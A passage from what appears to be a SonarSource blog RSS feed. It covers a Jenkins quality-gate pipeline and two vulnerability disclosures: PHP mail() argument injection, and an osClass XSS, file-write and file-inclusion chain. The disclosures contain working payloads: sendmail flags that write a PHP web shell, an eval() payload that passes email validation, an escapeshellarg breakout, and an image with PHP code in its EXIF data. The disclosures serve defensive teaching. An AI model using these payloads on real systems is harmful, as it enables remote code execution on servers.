sonar-scanner&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once you have analyzed the ARM compiled source code, you got the full power of the analysis available: &lt;a href=&quot;https://www.sonarsource.com/products/codeanalyzers/sonarcfamilyforcpp/rules-cpp.html&quot;&gt;hundred of rules&lt;/a&gt; available to track the nastiest issues, data-flow analysis included!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, SonarCFamily 4.8 is compatible with &lt;a href=&quot;http://www.sonarlint.org/index.html&quot;&gt;SonarLint&lt;/a&gt; which means that ARM DS-5 developers using Eclipse or any Eclipse CDT developer will be able to use SonarLint and get their code analyzed on-the-fly. This enables to shorten the development feedback and catch issues &amp;quot;before they exist&amp;quot;!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e92e1246-31ed-4e1d-9a9c-e4f2c3d637b7/body-145ceeff9ca854e363ae1e99c97b31944a601659_sonarlint_arm_ds5.png&quot; /&gt;</content:encoded></item><item><title><![CDATA[Why mail() is dangerous in PHP]]></title><description><![CDATA[Recently, many critical security vulnerabilities were fixed in popular PHP applications such as Roundcube, Wikimedia and Zend Framework that based on insecure usage of the PHP mail() function. In this post, we have a look at the common ground of these vulnerabilities and how to use mail() securely.]]></description><link>https://www.sonarsource.com/blog/why-mail-is-dangerous-in-php</link><guid isPermaLink="false">3df69a99-2703-540d-a117-43b31c274082</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Wed, 03 May 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During our advent of PHP application vulnerabilities, we reported a remote command execution vulnerability in the popular webmailer Roundcube (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2016-9920&quot;&gt;CVE-2016-9920&lt;/a&gt;). This vulnerability allowed a malicious user to execute arbitrary system commands on the targeted server by simply writing an email via the Roundcube interface. After we reported the vulnerability to the vendor and released our blog post, similar security vulnerabilities that base on PHP’s built-in &lt;code&gt;mail()&lt;/code&gt; function popped up in other PHP applications:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://phabricator.wikimedia.org/T152717&quot;&gt;https://phabricator.wikimedia.org/T152717&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://framework.zend.com/security/advisory/ZF2016-04&quot;&gt;https://framework.zend.com/security/advisory/ZF2016-04&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://seclists.org/fulldisclosure/2017/Apr/86&quot;&gt;http://seclists.org/fulldisclosure/2017/Apr/86&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt&quot;&gt;https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;The PHP mail() function&lt;/h2&gt;&lt;p&gt;PHP comes with the built-in function &lt;code&gt;mail()&lt;/code&gt; for sending emails from a PHP application. The mail delivery can be configured by using the following five parameters.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.mail.php&quot;&gt;&lt;strong&gt;http://php.net/manual/en/function.mail.php&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1   bool mail(	
2 	string $to, 
3 	string $subject,
4 	string $message [, 
5	string $additional_headers [, 
6	string $additional_parameters ]]
7   )&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first three parameters of this function are self-explanatory and less sensitive, as these are not affected by injection attacks. Still, be aware that if the &lt;em&gt;to&lt;/em&gt; parameter can be controlled by the user, she can send spam emails to an arbitrary address.&lt;/p&gt;&lt;h3&gt;Email header injection&lt;/h3&gt;&lt;p&gt;The last two optional parameters are more concerning. The fourth parameter &lt;code&gt;$additional_headers&lt;/code&gt; receives a string which is appended to the email header. Here, additional email headers can be specified, for example &lt;code&gt;From:&lt;/code&gt; and &lt;code&gt;Reply-To:&lt;/code&gt;. Since mail headers are separated by the CRLF newline character &lt;a href=&quot;https://www.ietf.org/rfc/rfc822.txt&quot;&gt;&lt;code&gt;\r\n&lt;/code&gt;&lt;/a&gt;, an attacker can use these characters to append additional email headers when user input is used unsanitized in the fourth parameter. This attack is known as &lt;em&gt;Email Header Injection&lt;/em&gt; (or short &lt;em&gt;Email Injection&lt;/em&gt;). It can be abused to send out multiple spam emails by adding several email addresses to an injected &lt;code&gt;CC:&lt;/code&gt; or &lt;code&gt;BCC:&lt;/code&gt; header. Note that some mail programs replace &lt;code&gt;\n&lt;/code&gt; to &lt;code&gt;\r\n&lt;/code&gt; automatically.&lt;/p&gt;&lt;h3&gt;Why the 5th parameter of mail() is extremely dangerous&lt;/h3&gt;&lt;p&gt;In order to use the &lt;code&gt;mail()&lt;/code&gt; function in PHP, an email program or server has to be configured. The following two options can be used in the &lt;code&gt;php.ini&lt;/code&gt; configuration file:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Configure an SMTP server’s &lt;em&gt;hostname&lt;/em&gt; and &lt;em&gt;port&lt;/em&gt; to which PHP connects&lt;/li&gt;&lt;li&gt;Configure the &lt;em&gt;file path&lt;/em&gt; of a mail program that PHP uses as a &lt;em&gt;Mail Transfer Agent&lt;/em&gt; (MTA)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When PHP is configured with the second option, calls to the &lt;code&gt;mail()&lt;/code&gt; function will result in the execution of the configured MTA program. Although PHP internally applies &lt;code&gt;escapeshellcmd()&lt;/code&gt;to the program call which prevents an injection of new shell commands, the 5th argument &lt;code&gt;$additional_parameters&lt;/code&gt; in &lt;code&gt;mail()&lt;/code&gt; allows the addition of new program arguments to the MTA. Thus, an attacker can append program flags which in some MTA’s enables the creation of a file with user-controlled content.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Vulnerable Code&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mail(&quot;myfriend@example.com&quot;, &quot;subject&quot;, &quot;message&quot;, &quot;&quot;, &quot;-f&quot; . $_GET[&apos;from&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The code shown above is prone to a remote command execution that is easily overlooked. The GET parameter &lt;em&gt;from&lt;/em&gt; is used unsanitized and allows an attacker to pass additional parameters to the mail program. For example, in &lt;em&gt;sendmail&lt;/em&gt;, the parameter &lt;code&gt;-O&lt;/code&gt; can be used to reconfigure sendmail options and the parameter &lt;code&gt;-X&lt;/code&gt; specifies the location of a log file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Proof of Concept&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The proof of concept will drop a PHP shell in the web directory of the application. This file contains log information that can be tainted with PHP code. Thus, an attacker is able to execute arbitrary PHP code on the web server when accessing the &lt;em&gt;rce.php&lt;/em&gt; file. You can find more information on how to exploit this issue &lt;a href=&quot;https://www.saotn.org/exploit-phps-mail-get-remote-code-execution/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Latest related security vulnerabilities&lt;/h2&gt;&lt;p&gt;The 5th parameter is indeed used in a vulnerable way in many real-world applications. The following popular PHP applications were lately found to be affected, all by the same previously described security issue (mostly reported by Dawid Golunski).&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Application&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Version&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Roundcube&lt;/td&gt;&lt;td&gt;&amp;lt;= 1.2.2&lt;/td&gt;&lt;td&gt;CVE-2016-9920&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;MediaWiki&lt;/td&gt;&lt;td&gt;&amp;lt; 1.29&lt;/td&gt;&lt;td&gt;Discussion&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;PHPMailer&lt;/td&gt;&lt;td&gt;&amp;lt;= 5.2.18&lt;/td&gt;&lt;td&gt;CVE-2016-10033&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Zend Framework&lt;/td&gt;&lt;td&gt;&amp;lt; 2.4.11&lt;/td&gt;&lt;td&gt;CVE-2016-10034&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;SwiftMailer&lt;/td&gt;&lt;td&gt;&amp;lt;= 5.4.5-DEV&lt;/td&gt;&lt;td&gt;CVE-2016-10074&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;SquirrelMail&lt;/td&gt;&lt;td&gt;&amp;lt;= 1.4.23&lt;/td&gt;&lt;td&gt;CVE-2017-7692&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Due to the integration of these affected libraries, other widely used applications, such as &lt;a href=&quot;https://core.trac.wordpress.org/ticket/39397&quot;&gt;WordPress&lt;/a&gt;, &lt;a href=&quot;https://developer.joomla.org/security-centre/668-20161205-phpmailer-security-advisory.html&quot;&gt;Joomla&lt;/a&gt; and &lt;a href=&quot;https://www.drupal.org/psa-2016-004&quot;&gt;Drupal&lt;/a&gt;, were partly affected as well.&lt;/p&gt;&lt;h2&gt;Why escapeshellarg() is not secure&lt;/h2&gt;&lt;p&gt;PHP offers &lt;a href=&quot;http://php.net/escapeshellcmd&quot;&gt;escapeshellcmd()&lt;/a&gt; and &lt;a href=&quot;http://php.net/escapeshellarg&quot;&gt;escapeshellarg()&lt;/a&gt; to secure user input used in system commands or arguments. Intuitively, the following PHP statement looks secure and prevents a break out of the &lt;code&gt;-param1&lt;/code&gt; parameter:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;system(escapeshellcmd(&quot;./program -param1 &quot;.escapeshellarg($_GET[&apos;arg&apos;])));&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, against all instincts, this statement is insecure when the program has other exploitable parameters. An attacker can break out of the &lt;code&gt;-param1&lt;/code&gt; parameter by injecting &lt;code&gt;&amp;quot;foobar&amp;#x27; -param2 payload &amp;quot;&lt;/code&gt;. After both &lt;code&gt;escapeshell*&lt;/code&gt; functions processed this input, the following string will reach the &lt;code&gt;system()&lt;/code&gt; function.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;./program -param1 &apos;foobar&apos;\\&apos;&apos; -param2 payload \&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As it can be seen from the executed command, the two nested escaping functions confuse the quoting and allow to append another parameter &lt;code&gt;param2&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;PHP’s function &lt;code&gt;mail()&lt;/code&gt; internally uses the &lt;code&gt;escapeshellcmd()&lt;/code&gt; function in order to secure against command injection attacks. This is exactly why &lt;code&gt;escapeshellarg()&lt;/code&gt; does not prevent the attack when used for the 5th parameter of mail(). The developers of &lt;a href=&quot;https://github.com/roundcube/roundcubemail/commit/f84233785ddeed01445fc855f3ae1e8a62f167e1&quot;&gt;Roundcube&lt;/a&gt; and &lt;a href=&quot;https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html&quot;&gt;PHPMailer&lt;/a&gt; implemented this faulty patch at first.&lt;/p&gt;&lt;h2&gt;Why FILTER_VALIDATE_EMAIL is not secure&lt;/h2&gt;&lt;p&gt;Another intuitive approach is to use PHP’s email filter in order to ensure that only a valid email address is used in the 5th parameter of &lt;code&gt;mail()&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;filter_var($email, FILTER_VALIDATE_EMAIL)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, not all characters that are necessary to exploit the security issue in &lt;code&gt;mail()&lt;/code&gt; are forbidden by this filter. It allows the usage of escaped whitespaces nested in double quotes. Due to the nature of the underlying regular expression it is possible to overlap single and double quotes and trick &lt;code&gt;filter_var()&lt;/code&gt; into thinking we are inside of double quotes, although &lt;code&gt;mail()&lt;/code&gt;s internal &lt;code&gt;escapeshellcmd()&lt;/code&gt; thinks we are not.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&apos;a.&quot;&apos;\ -OQueueDirectory=\%0D&lt;?=eval($_GET[c])?&gt;\ -X/var/www/html/&quot;@a.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the here given url-encoded input, the &lt;code&gt;filter_var()&lt;/code&gt; function returns &lt;em&gt;true&lt;/em&gt; and rates the payload as a &lt;em&gt;valid&lt;/em&gt; email address. This has a critical impact when using this function as a sole security measure: Similar as in our original attack, our malicious &amp;quot;email address&amp;quot; would cause sendmail to print the following error into our newly generated shell &lt;code&gt;&amp;quot;@a.php&lt;/code&gt; in our webroot.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?=eval($_GET[c])?&gt;\/): No such file or directory&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remember that &lt;code&gt;filter_var()&lt;/code&gt; is not appropriate to be used for user-input sanitization and was never designed for such cases, as it is too loose regarding several characters.&lt;/p&gt;&lt;h2&gt;How to use mail() securely&lt;/h2&gt;&lt;p&gt;Carefully analyze the arguments of each call to &lt;code&gt;mail()&lt;/code&gt; in your application for the following conditions:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Argument (&lt;strong&gt;to&lt;/strong&gt;): Unless intended, no user input is used directly&lt;/li&gt;&lt;li&gt;Argument (&lt;strong&gt;subject&lt;/strong&gt;): Safe to use&lt;/li&gt;&lt;li&gt;Argument (&lt;strong&gt;message&lt;/strong&gt;): Safe to use&lt;/li&gt;&lt;li&gt;Argument (&lt;strong&gt;headers&lt;/strong&gt;): All &lt;code&gt;\r&lt;/code&gt; and &lt;code&gt;\n&lt;/code&gt; characters are stripped&lt;/li&gt;&lt;li&gt;Argument (&lt;strong&gt;parameters&lt;/strong&gt;): No user input is used&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In fact, there is no guaranteed safe way to use user-supplied data on shell commands and you should not try your luck. In case your application does require user input in the 5th argument, a restrictive email filter can be applied that limits any input to a minimal set of characters, even though it breaks RFC compliance. We recommend to not trust any escaping or quoting routine as history has shown these functions &lt;a href=&quot;https://bugs.php.net/bug.php?id=49446&quot;&gt;can&lt;/a&gt; or &lt;a href=&quot;https://bugs.php.net/search.php?cmd=display&amp;search_for=escapeshellarg&quot;&gt;will&lt;/a&gt; be broken, especially when used in different environments. An alternative approach is developed by Paul Buonopane and can be found &lt;a href=&quot;https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Many PHP applications send emails to their users, for example reminders and notifications. While &lt;em&gt;email header injections&lt;/em&gt; are widely known, a remote command execution vulnerability is rarely considered when using &lt;code&gt;mail()&lt;/code&gt;. In this post, we have highlighted the risks of the 5th &lt;code&gt;mail()&lt;/code&gt; parameter and how to protect against attacks that can result in full server compromise. Make sure your application uses this built-in function safely!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Breaking the SonarQube Analysis with Jenkins Pipelines]]></title><description><![CDATA[One of the most requested feature regarding SonarQube Scanners is the ability to fail the build when quality level is not at the expected level. We have this built-in concept of quality gate in SonarQube, and we used to have a BuildBreaker plugin for this exact use case. But starting from version 5.2, aggregation of metrics is done asynchronously on SonarQube server side. It means build/scanner process would finish successfully just after publishing raw data to the SonarQube server, without waiting for the aggregation to complete.]]></description><link>https://www.sonarsource.com/blog/breaking-the-sonarqube-analysis-with-jenkins-pipelines</link><guid isPermaLink="false">14d0fcc7-3a80-5ae8-ae72-13f5dfd9afd6</guid><dc:creator><![CDATA[Julien Henry]]></dc:creator><pubDate>Wed, 19 Apr 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the most requested feature regarding SonarQube Scanners is the ability to fail the build when quality level is not at the expected level. We have this built-in concept of quality gate in SonarQube, and we used to have a BuildBreaker plugin for this exact use case. But starting from version 5.2, aggregation of metrics is done asynchronously on SonarQube server side. It means build/scanner process would finish successfully just after publishing raw data to the SonarQube server, without waiting for the aggregation to complete.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some people tried to resurrect the BuildBreaker feature by implementing some active polling at the end of the scanner execution. We never supported this solution, since it defeats one of the benefit of having asynchronous aggregation on SonarQube server side. Indeed it means your CI executors/agents will be occupied &amp;quot;just&amp;quot; for a wait.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The cleanest pattern to achieve this is to release the CI executor, and have the SonarQube server send a notification when aggregation is completed. The CI job would then be resumed, and take the appropriate actions (not only mark the job as failed, but it could also send email notifications for example).&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of this is now possible, thanks to the webhook feature introduced in SonarQube 6.2. We are also taking benefit of Jenkins pipeline feature, that allow some part of a job logic to be executed without occupying an executor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s see it in action.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, you need SonarQube server 6.2+. In your Jenkins instance, install latest version of the SonarQube Scanner for Jenkins (2.6.1+). You should of course configure in Jenkins administration section the credentials to connect to the SonarQube server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In your SonarQube server administration page, add a webhook entry:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;https://&lt;your Jenkins instance&gt;/sonarqube-webhook/&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d5b71444-b01d-47bb-9671-fa26f4876e80/body-2bf3e388ca34d4e413d87b7bd84dbbdb80384f07_picture1-650x276.png&quot; /&gt;&lt;p&gt;Now you can configure a pipeline job using the two SonarQube keywords &amp;#x27;withSonarQubeEnv&amp;#x27; and &amp;#x27;waitForQualityGate&amp;#x27;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first one should wrap the execution of the scanner (that will occupy an executor) and the second one will &amp;#x27;pause&amp;#x27; the pipeline in a very light way, waiting for the webhook payload.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;node {
  stage(&apos;SCM&apos;) {
    git &apos;https://github.com/foo/bar.git&apos;
  }
  stage(&apos;build &amp; SonarQube Scan&apos;) {
    withSonarQubeEnv(&apos;My SonarQube Server&apos;) {
      sh &apos;mvn clean package sonar:sonar&apos;
    } // SonarQube taskId is automatically attached to the pipeline context
  }
}
 
// No need to occupy a node
stage(&quot;Quality Gate&quot;) {
  timeout(time: 1, unit: &apos;HOURS&apos;) { // Just in case something goes wrong, pipeline will be killed after a timeout
    def qg = waitForQualityGate() // Reuse taskId previously collected by withSonarQubeEnv
    if (qg.status != &apos;OK&apos;) {
      error &quot;Pipeline aborted due to quality gate failure: ${qg.status}&quot;
    }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here you are:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c4736bd9-1696-4fe6-94d0-9164e48f7f93/body-2c3c1d25c557cb271d7454eaea25e70415014265_stage.png&quot; /&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cc9bdedd-37dc-4056-b594-1392f469cfa7/body-075bda9fd7df151cddcbcd61f1f90304bfb630b5_qg.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That&amp;#x27;s all Folks!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[osClass 3.6.1: Remote Code Execution via Image File]]></title><description><![CDATA[In this blog post, we present a beautiful chain of vulnerabilities which, in the end, allows an attacker to remotely execute arbitrary PHP code in the open source marketplace software osClass 3.6.1 used for creating classifieds sites.]]></description><link>https://www.sonarsource.com/blog/osclass-remote-code-execution-via-image-file</link><guid isPermaLink="false">efa5a849-90c0-58cd-9db0-4c43263748e9</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Mon, 19 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this blog post, we examine three vulnerabilities that we detected in the open source marketplace software osClass 3.6.1:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Cross-Site Scripting &lt;/li&gt;&lt;li&gt;File Write&lt;/li&gt;&lt;li&gt;File Inclusion&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By chaining these three vulnerabilities, the exploitation of the cross-site scripting issue leads to remote code execution on a targeted web server.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Cross-Site Scripting&lt;/h2&gt;&lt;p&gt;The cross-site scripting vulnerability can be triggered by an authenticated administrator visiting a malicious link. Due to the generalized approach of input sanitization for HTML in osClass’s &lt;code&gt;getParam()&lt;/code&gt; function, the parameter &lt;code&gt;country_code&lt;/code&gt; is insufficiently secured for a JavaScript context in line 409.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-admin/themes/modern/settings/locations.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;408    &lt;script type=&quot;text/javascript&quot;&gt;
409        show_region(&apos;&lt;?php echo Params::getParam(&apos;country_code&apos;); ?&gt;&apos;,
410        &apos;&lt;?php echo osc_esc_js(Params::getParam(&apos;country&apos;)); ?&gt;&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Contrarily, in line 410, the parameter &lt;em&gt;country&lt;/em&gt; is sanitized sufficiently by using the &lt;code&gt;osc_esc_js()&lt;/code&gt; function before printing. The problem with the first approach is that an attacker can break out of the quotes because they are not escaped by the &lt;code&gt;getParam()&lt;/code&gt; function, as can be seen in the following code summaries.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-includes/osclass/core/Params.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;35    static function getParam($param, $htmlencode = false, $xss_check = true, $quotes_encode = true) {
36        $value = self::_purify(self::$_request[$param], $xss_check);
37        ⋮
38    static private function _purify($value, $xss_check) {
39        ⋮
40        self::$_config = HTMLPurifier_Config::createDefault();
41        self::$_config-&gt;set(&apos;HTML.Allowed&apos;, &apos;&apos;);
42        ⋮
43        $value = self::$_purifier-&gt;purify($value);
44        ⋮
45        return $value;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-includes/osclass/helpers/hSanitize.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;175    function osc_esc_js($str) {
176        ⋮
177        $str = strip_tags($str, $sNewLines);
178        $str = str_replace(&quot;\r&quot;, &apos;&apos;, $str);
179        $str = addslashes($str);
180        $str = str_replace(&quot;\n&quot;, &apos;\n&apos;, $str);
181        $str = str_replace($aNewLines, &apos;\n&apos;, $str);
182        return $str;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Only &lt;code&gt;osc_esc_js()&lt;/code&gt; escapes the single quotes in line 179 that can be used to break out of the given context for the &lt;code&gt;country_code&lt;/code&gt; parameter.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;File Write&lt;/h2&gt;&lt;p&gt;Since osClass allows a user by default to upload images via AJAX, an attacker can attach PHP code to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Exif&quot;&gt;EXIF&lt;/a&gt; data in form of an image description. It is important to note that the image must be a valid image, as it will be rotated internally by the application. An example for such a modified image &lt;code&gt;muschel.jpg&lt;/code&gt; can be observed in a hexeditor:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1  0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060  ......JFIF.....`
2  0000010: 0060 0000 ffe1 00a8 4578 6966 0000 4949  .`......Exif..II
3  0000020: 2a00 0800 0000 0300 0e01 0200 6e00 0000  *...........n...
4  0000030: 3200 0000 2801 0300 0100 0000 0200 0000  2...(...........
5  0000040: 1302 0300 0100 0000 0100 0000 0000 0000  ................
6  0000050: 3c3f 7068 7020 6563 686f 2073 6865 6c6c  &lt;?php echo shell
7  0000060: 5f65 7865 6328 2770 7764 3b6c 7320 2d6c  _exec(&apos;pwd;ls -l
8  0000070: 6127 293b 203f 3e48 494a 4b4c 4d4e 4f50  a&apos;); ?&gt;HIJKLMNOP
9  0000080: 5152 5354 5556 5758 595a 3241 4243 4445  QRSTUVWXYZ2ABCDE
10 0000090: 4647 4d4e 4f50 5152 5354 5556 5758 595a  FGMNOPQRSTUVWXYZ
11 00000a0: 3341 4243 4445 4647 4849 4a4b 4c4d 4e4f  3ABCDEFGHIJKLMNO
12 00000b0: 5051 5253 5455 5657 5859 5a31 3400 ffdb  PQRSTUVWXYZ14...
13 00000c0: 0043 0001 0101 0101 0101 0101 0101 0101  .C..............
14 00000d0: 0101 0101 0101 0101 0101 0101 0101 0101  ................
15 00000e0: 0101 0101 0101 0101 0101 0101 0101 0101  ................
16 00000f0: 0101 0101 0101 0101 0101 0101 0101 0101  ................
17 0000100: 0101 01ff db00 4301 0101 0101 0101 0101  ......C.........
18 0000110: 0101 0101 0101 0101 0101 0101 0101 0101  ................
19 0000120: 0101 0101 0101 0101 0101 0101 0101 0101  ................
20 0000130: 0101 0101 0101 0101 0101 0101 0101 0101  ................
21 0000140: 0101 0101 0101 0101 ffc0 0011 0800 0100  ................
22 0000150: 0103 0122 0002 1101 0311 01ff c400 1500  ...&quot;............
23 0000160: 0101 0000 0000 0000 0000 0000 0000 0000  ................
24 0000170: 000a ffc4 0014 1001 0000 0000 0000 0000  ................
25 0000180: 0000 0000 0000 0000 ffc4 0014 0101 0000  ................
26 0000190: 0000 0000 0000 0000 0000 0000 0000 ffc4  ................
27 00001a0: 0014 1101 0000 0000 0000 0000 0000 0000  ................
28 00001b0: 0000 0000 ffda 000c 0301 0002 1103 1100  ................
29 00001c0: 3f00 bf80 01ff d9                        ?......&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At address&lt;code&gt; 0x050&lt;/code&gt;, PHP code is placed into the EXIF data. This will neither corrupt the image data nor its validaty, allowing the execution of the code when &lt;code&gt;muschel.jpg&lt;/code&gt; is included in PHP. By using the url &lt;code&gt;index.php?page=ajax&amp;amp;action=ajax_upload&lt;/code&gt;, an attacker can easily upload certain files, such as images, to the server and the controller returns the name of the newly uploaded file in the response body. Note that the filename is not tainted and there is no possibility to upload PHP files directly. In the following code lines, the upload is found in line 179 and the image rotation in line 180.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-includes/osclass/controller/ajax.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;175    case &apos;ajaxupload&apos;:
176        ⋮
177        $original = pathinfo($uploader-&gt;getOriginalName());
178        $filename = uniqid(&quot;qqfile&quot;).&quot;.&quot;.$original[&apos;extension&apos;];
179        $result = $uploader-&gt;handleUpload(osc_content_path().&apos;uploads/temp/&apos;.$filename);
180        $img = ImageResizer::fromFile(osc_content_path().&apos;uploads/temp/&apos;.$filename)-&gt;autoRotate();
181        $img-&gt;saveToFile(osccontentpath().&apos;uploads/temp/auto&apos;.$filename, $original[&apos;extension&apos;]);
182        $result[&apos;uploadName&apos;] = &apos;auto&apos;.$filename;
183        echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
184        break;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;File Inclusion&lt;/h2&gt;&lt;p&gt;The administration module of osClass contains a local file inclusion vulnerability. It is possible to include arbitrary files via the GET parameter &lt;code&gt;plugin&lt;/code&gt;. The following code lines are affected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;oc-admin/plugins.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;33    switch ($this-&gt;action) {
34        ⋮
35        case &apos;error_plugin&apos;:
36            ⋮
37            include( osc_plugins_path() . Params::getParam(&apos;plugin&apos;) );
